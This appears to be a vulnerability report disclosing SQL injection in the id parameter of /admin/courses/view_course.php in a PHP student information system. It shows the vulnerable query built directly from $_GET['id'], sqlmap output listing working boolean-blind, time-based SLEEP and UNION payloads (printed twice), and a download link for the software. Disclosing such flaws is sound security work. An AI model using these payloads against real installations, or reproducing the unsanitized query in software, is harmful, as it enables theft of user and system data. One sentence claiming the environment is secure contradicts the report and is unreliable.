SQL injection vulnerability exists in id parameter of /admin/courses/view_course.php file of Simple Student Information System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```php
<?php
require_once('./../../config.php');
if(isset($_GET['id'])){
    $qry = $conn->query("SELECT c.*, d.name as department FROM `course_list` c inner join department_list d on c.department_id = d.id where c.id = '{$_GET['id']}'");
    if($qry->num_rows > 0){
        $res = $qry->fetch_array();
        foreach($res as $k => $v){
            if(!is_numeric($k))
```

```
sqlmap identified the following injection point(s) with a total of 60 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 8078=8078 AND 'hwrT'='hwrT

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 1121 FROM (SELECT(SLEEP(5)))UnkA) AND 'sfQk'='sfQk

    Type: UNION query
    Title: Generic UNION query (NULL) - 9 columns
    Payload: id=-3577' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171717871,0x4f616a6a52474d424352634d7754667
46353564441774b4d4a6d63416d6458756e4d6b666544454f,0x7162717671)-- -
---
```

“

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=1' AND 8078=8078 AND 'hwrT'='hwrT

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=1' AND (SELECT 1121 FROM (SELECT(SLEEP(5)))UnkA) AND 'sfQk'='sfQk

Type: UNION query

Title: Generic UNION query (NULL) - 9 columns

Payload: id=-3577' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171717871,0x4f616a6a52474d424352634d7754667463535644417 74b4d4a6d63416d6458756e4d6b666544454f,0x7162717671)-- -

---

“

Source Download：

https://www.campcodes.com/projects/php/student-information-system-in-php